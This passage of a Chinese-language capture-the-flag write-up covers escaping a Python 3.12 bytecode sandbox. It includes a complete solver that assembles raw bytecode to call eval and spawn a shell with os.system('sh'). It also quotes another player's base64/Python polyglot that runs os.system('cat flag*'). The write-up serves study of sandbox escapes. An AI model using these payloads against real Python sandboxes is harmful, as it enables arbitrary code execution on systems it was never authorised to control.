'_sitebuiltins': <module '_sitebuiltins' (frozen)>, '_distutils_hack': <module '_distutils_hack' from '/usr/local/lib/python3.12/site-packages/_distutils_hack/__init__.py'>, 'site': <module 'site' (frozen)>, 'types': <module 'types' from '/usr/local/lib/python3.12/types.py'>, '_opcode': <module '_opcode' from '/usr/local/lib/python3.12/lib-dynload/_opcode.cpython-312-x86_64-linux-gnu.so'>, 'opcode': <module 'opcode' from '/usr/local/lib/python3.12/opcode.py'>}
129: [None, <module 'sys' (built-in)>, None, <module 'builtins' (built-in)>]
130: <module '_frozen_importlib' (frozen)>
133: <built-in function __import__>
166: [<function search_function at 0x7fe59a24d9e0>]
167: {'utf_8': <codecs.CodecInfo object for encoding utf-8 at 0x7f8d42549910>}
168: {'strict': <built-in function strict_errors>, 'ignore': <built-in function ignore_errors>, 'replace': <built-in function replace_errors>, 'xmlcharrefreplace': <built-in function xmlcharrefreplace_errors>, 'backslashreplace': <built-in function backslashreplace_errors>, 'namereplace': <built-in function namereplace_errors>, 'surrogatepass': <built-in function surrogatepass>, 'surrogateescape': <built-in function surrogateescape>}
226: {'__name__': 'sys', '__doc__': "This module provides access to some objects used or maintained by the\ninterpreter and to functions that interact strongly with the interpreter.\n\nDynamic objects:\n\nargv -- command line arguments; argv[0] is the script pathname if known\npath -- module search path; path[0] is the script directory, else ''\nmodules -- dictionary of loaded modules\n\ndisplayhook -- called to show results in an interactive session\nexcepthook -- called to handle any uncaught exception other than SystemExit\n To customize printing in an interactive session or to install a custom\n top-level exception handler, assign other functions to replace these.\n\nstdin -- standard input file object; used by input()\nstdout -- standard output file object; used by print()\nstderr -- standard error object; used for error messages\n By assigning other file objects (or objects that behave like files)\n to these, it is possible to redirect all of the interpreter's I/O.\n\nlast_exc - the last uncaught exception\n Only available in an interactive session after a\n traceback has been printed.\nlast_type -- type of last uncaught exception\nlast_value -- value of last uncaught exception\nlast_traceback -- traceback of last uncaught exception\n These three are the (deprecated) legacy representation of last_exc.\n\nStatic objects:\n\nbuiltin_module_names -- tuple of module names built into this interpreter\ncopyright -- copyright notice pertaining to this interpreter\nexec_prefix -- prefix used to find the machine-specific Python library\nexecutable -- absolute path of the executable binary of the Python interpreter\nfloat_info -- a named tuple with information about the float implementation.\nfloat_repr_style -- string indicating the style of repr() output for floats\nhash_info -- a named tuple with information about the hash algorithm.\nhexversion -- version information encoded as a single integer\nimplementation -- Python implementation information.\nint_info -- a named tuple with information about the int implementation.\nmaxsize -- the largest supported length of containers.\nmaxunicode -- the value of the largest Unicode code point\nplatform -- platform identifier\nprefix -- prefix used to find the Python library\nthread_info -- a named tuple with information about the thread implementation.\nversion -- the version of this interpreter as a string\nversion_info -- version information as a named tuple\n__stdin__ -- the original stdin; don't touch!\n__stdout__ -- the original stdout; don't touch!\n__stderr__ -- the original stderr; don't touch!\n__displayhook__ -- the original displayhook; don't touch!\n__excepthook__ -- the original excepthook; don't touch!\n\nFunctions:\n\ndisplayhook() -- print an object to the screen, and save it in builtins._\nexcepthook() -- print an exception and its traceback to sys.stderr\nexception() -- return the current thread's active exception\nexc_info() -- return information about the current thread's active exception\nexit() -- exit the interpreter by raising SystemExit\ngetdlopenflags() -- returns flags to be used for dlopen() calls\ngetprofile() -- get the global profiling function\ngetrefcount() -- return the reference count for an object (plus one :-)\ngetrecursionlimit() -- return the max recursion depth for the interpreter\ngetsizeof() -- return the size of an object in bytes\ngettrace() -- get the global debug tracing function\nsetdlopenflags() -- set the flags to be used for dlopen() calls\nsetprofile() -- set the global profiling function\nsetrecursionlimit() -- set the max recursion depth for the interpreter\nsettrace() -- set the global debug tracing function\n", '__package__': None, '__loader__': None, '__spec__': None, 'addaudithook': <built-in function addaudithook>, 'audit': <built-in function audit>, 'breakpointhook': <built-in function breakpointhook>, '_clear_type_cache': <built-in function _clear_type_cache>, '_current_frames': <built-in function _current_frames>, '_current_exceptions': <built-in function _current_exceptions>, 'displayhook': <built-in function displayhook>, 'exception': <built-in function exception>, 'exc_info': <built-in function exc_info>, 'excepthook': <built-in function excepthook>, 'exit': <built-in function exit>, 'getdefaultencoding': <built-in function getdefaultencoding>, 'getdlopenflags': <built-in function getdlopenflags>, 'getallocatedblocks': <built-in function getallocatedblocks>, 'getunicodeinternedsize': <built-in function getunicodeinternedsize>, 'getfilesystemencoding': <built-in function getfilesystemencoding>, 'getfilesystemencodeerrors': <built-in function getfilesystemencodeerrors>, 'getrefcount': <built-in function getrefcount>, 'getrecursionlimit': <built-in function getrecursionlimit>, 'getsizeof': <built-in function getsizeof>, '_getframe': <built-in function _getframe>, '_getframemodulename': <built-in function _getframemodulename>, 'intern': <built-in function intern>, 'is_finalizing': <built-in function is_finalizing>, 'setswitchinterval': <built-in function setswitchinterval>, 'getswitchinterval': <built-in function getswitchinterval>, 'setdlopenflags': <built-in function setdlopenflags>, 'setprofile': <built-in function setprofile>, '_setprofileallthreads': <built-in function _setprofileallthreads>, 'getprofile': <built-in function getprofile>, 'setrecursionlimit': <built-in function setrecursionlimit>, 'settrace': <built-in function settrace>, '_settraceallthreads': <built-in function _settraceallthreads>, 'gettrace': <built-in function gettrace>, 'call_tracing': <built-in function call_tracing>, '_debugmallocstats': <built-in function _debugmallocstats>, 'set_coroutine_origin_tracking_depth': <built-in function set_coroutine_origin_tracking_depth>, 'get_coroutine_origin_tracking_depth': <built-in function get_coroutine_origin_tracking_depth>, 'set_asyncgen_hooks': <built-in function set_asyncgen_hooks>, 'get_asyncgen_hooks': <built-in function get_asyncgen_hooks>, 'activate_stack_trampoline': <built-in function activate_stack_trampoline>, 'deactivate_stack_trampoline': <built-in function deactivate_stack_trampoline>, 'is_stack_trampoline_active': <built-in function is_stack_trampoline_active>, 'unraisablehook': <built-in function unraisablehook>, 'get_int_max_str_digits': <built-in function get_int_max_str_digits>, 'set_int_max_str_digits': <built-in function set_int_max_str_digits>}
227: {'__name__': 'builtins', '__doc__': "Built-in functions, types, exceptions, and other objects.\n\nThis module provides direct access to all 'built-in'\nidentifiers of Python; for example, builtins.len is\nthe full name for the built-in function len().\n\nThis module is not normally accessed explicitly by most\napplications, but can be useful in modules that provide\nobjects with the same name as a built-in value, but in\nwhich the built-in of that name is also needed.", '__package__': None, '__loader__': None, '__spec__': None, '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'aiter': <built-in function aiter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'anext': <built-in function anext>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'BaseExceptionGroup': <class 'BaseExceptionGroup'>, 'Exception': <class 'Exception'>, 'GeneratorExit': <class 'GeneratorExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'SystemExit': <class 'SystemExit'>, 'ArithmeticError': <class 'ArithmeticError'>, 'AssertionError': <class 'AssertionError'>, 'AttributeError': <class 'AttributeError'>, 'BufferError': <class 'BufferError'>, 'EOFError': <class 'EOFError'>, 'ImportError': <class 'ImportError'>, 'LookupError': <class 'LookupError'>, 'MemoryError': <class 'MemoryError'>, 'NameError': <class 'NameError'>, 'OSError': <class 'OSError'>, 'ReferenceError': <class 'ReferenceError'>, 'RuntimeError': <class 'RuntimeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'SyntaxError': <class 'SyntaxError'>, 'SystemError': <class 'SystemError'>, 'TypeError': <class 'TypeError'>, 'ValueError': <class 'ValueError'>, 'Warning': <class 'Warning'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'BytesWarning': <class 'BytesWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'EncodingWarning': <class 'EncodingWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'UserWarning': <class 'UserWarning'>, 'BlockingIOError': <class 'BlockingIOError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionError': <class 'ConnectionError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'InterruptedError': <class 'InterruptedError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'IndentationError': <class 'IndentationError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'RecursionError': <class 'RecursionError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'UnicodeError': <class 'UnicodeError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'TabError': <class 'TabError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'ExceptionGroup': <class 'ExceptionGroup'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>}
497: [('default', None, <class 'DeprecationWarning'>, '__main__', 0), ('ignore', None, <class 'DeprecationWarning'>, None, 0), ('ignore', None, <class 'PendingDeprecationWarning'>, None, 0), ('ignore', None, <class 'ImportWarning'>, None, 0), ('ignore', None, <class 'ResourceWarning'>, None, 0)]
499: default
"""

可見裡面 227 是 builtins.__dict__。然後從我之前在 0ctf 2021 - pypypypy 弄的一些生數字、字串的 function 改成 3.12 可以動的版本,湊一湊就能解了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
from base64 import b64decode, b64encode
from marshal import loads, dumps
from types import FunctionType, CodeType
import dis


NMAX = 10000


def validator(c):
if len(c.co_names) != 0:
return False
if len(c.co_consts) != 0:
return False
if len(c.co_cellvars) != 0:
return False
if len(c.co_freevars) != 0:
return False
if len(c.co_varnames) != 0:
return False
return True


def dummy():
pass


def assemble(ops):
cache = bytes([dis.opmap["CACHE"], 0])
ret = b""
for op, arg in ops:
opc = dis.opmap[op]
ret += bytes([opc, arg])
ret += cache * dis._inline_cache_entries[opc]
return ret


binop = {sym: i for i, (_, sym) in enumerate(dis._nb_ops)}


def gen_num_op(n):
# push number n into stack
one = [("BUILD_TUPLE", 0), ("UNARY_NOT", 0)]
if n == 1:
return one
half = gen_num_op(n // 2)
ret = half + [("COPY", 1), ("BINARY_OP", binop["+"])]
if n % 2 == 1:
ret += one + [("BINARY_OP", binop["+"])]
return ret


def gen_c():
return [
("BUILD_TUPLE", 0),
("BUILD_TUPLE", 0),
("BUILD_SLICE", 2),
("FORMAT_VALUE", 0),
# ['slice((), (), None)']
("BUILD_TUPLE", 0),
("UNARY_NOT", 0),
("COPY", 1),
("COPY", 1),
("BINARY_OP", binop["+"]),
("BINARY_OP", binop["+"]),
# ['slice((), (), None)', 3]
("BINARY_SUBSCR", 0),
# ['c']
]


def gen_str(s):
# assuming stack top is 'c'
assert len(s) > 0
if len(s) == 1:
return [
*gen_num_op(ord(s[0])),
("SWAP", 2),
("FORMAT_VALUE", 4),
]
return [
("COPY", 1),
*gen_str(s[:-1]),
# ['c', s[:-1]]
("SWAP", 2),
*gen_num_op(ord(s[-1])),
("SWAP", 2),
("FORMAT_VALUE", 4),
# [s[:-1], s[-1]]
("BUILD_STRING", 2),
]


co_code = assemble(
[
("RESUME", 0),
("PUSH_NULL", 0),
("LOAD_CONST", 227),
*gen_c(),
*gen_str("eval"),
# [null, builtins.__dict__, 'eval']
("BINARY_SUBSCR", 0),
# [null, builtins.eval]
*gen_c(),
*gen_str("__import__('os').system('sh')"),
("LOAD_CONST", 227),
# [null, builtins.eval, PAYLOAD, builtins.__dict__]
("CALL", 2),
("RETURN_VALUE", 0),
]
)

print(dis.dis(co_code, show_caches=True))

"""
class CodeType(
__argcount: int,
__posonlyargcount: int,
__kwonlyargcount: int,
__nlocals: int,
__stacksize: int,
__flags: int,
__codestring: bytes,
__constants: tuple[object, ...],
__names: tuple[str, ...],
__varnames: tuple[str, ...],
__filename: str,
__name: str,
__qualname: str,
__firstlineno: int,
__linetable: bytes,
__exceptiontable: bytes,
__freevars: tuple[str, ...] = ...,
__cellvars: tuple[str, ...] = ...,
/
)
"""

code = CodeType(
0, # co_argcount
0, # co_posonlyargcount
0, # co_kwonlyargcount
0, # co_nlocals
0, # co_stacksize
3, # co_flags
co_code, # co_code
(), # co_consts
(), # co_names
(), # co_varnames
"hello", # co_filename
"hello", # co_name
"hello", # co_qualname
0, # co_firstlineno
b"", # co_lnotab
b"", # co_lnotab
(), # co_freevars
(), # co_cellvars
)


def main(code):
global __builtins__
for key in ["eval", "exec", "__import__", "open"]:
del __builtins__.__dict__[key]
if not validator(code):
print("invalid code")
exit(-1)

dummy.__code__ = code

print(dummy())


# main(code)
print(b64encode(dumps(code)).decode())
# TSGCTF{our_caffeine_knight_slays_python_bytes}

後來我看了一下別人的解,例如 (@Satoooon)[https://discord.com/channels/546339917459095552/1165469713720152124/1170639277076516925] 用了這樣的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from opcode import opmap, cmp_op, _nb_ops
import dis
import types
import os
import sys
import marshal
from base64 import b64encode, b64decode


code = b""
code += bytes([opmap["LOAD_FAST"], 18]) # "src" variable
code += bytes([opmap["LOAD_FAST"], 51]) # exec function
code += bytes([opmap["LOAD_FAST"], 18]) # "src" variable
code += bytes([opmap["CALL"], 0]) + bytes([0] * 6) # I don't know why this works well
code += bytes([opmap["RETURN_VALUE"], 0])

# print(code, file=sys.stderr)

codeobj = types.CodeType(0, 0, 0, 0, 0, 0, code, (), (), (), '', '', '', 0, b'', b'', (), ())

encoded = b64encode(marshal.dumps(codeobj)).decode()

for i in range(4):
try:
code = "\"" + encoded + "\";print(__loader__.exec_module.__globals__['sys'].modules['os'].system('cat flag*'));#" + "A" * i
b64decode(code.encode())
except Exception as e:
print(e)
continue
print(code)

# "4wAAAAAAAAAAAAAAAAAAAAAAAAAA8xAAAAB8EnwzfBKrAAAAAAAAAAAAqQByAgAAAHICAAAA8wAAAADaAHIEAAAAcgQAAAAAAAAAcgMAAAByAwAAAA==";print(__loader__.exec_module.__globals__['sys'].modules['os'].system('cat flag*'));#

那個 LOAD_FAST 18 我自己用上面找 offset 的腳本是弄不出來的,因為那個需要在完全一樣的環境才能弄出來,也就是要用 pipe 到題目的 script 才能弄出來。而它下面那邊透過 b64decode 預設會自動無視非 base64 字元的特性,造 base64/python polyglot。從這邊也可以看了出來 marshal 的資料其實後面任意接東西也不會錯。

另外還有 lebr0nli 的解可以參考,看起來和我的作法類似,只是改成透過用 bytecode 去操作 builtins.__dict__ 而沒有特別用 bytecode 造 string 等等。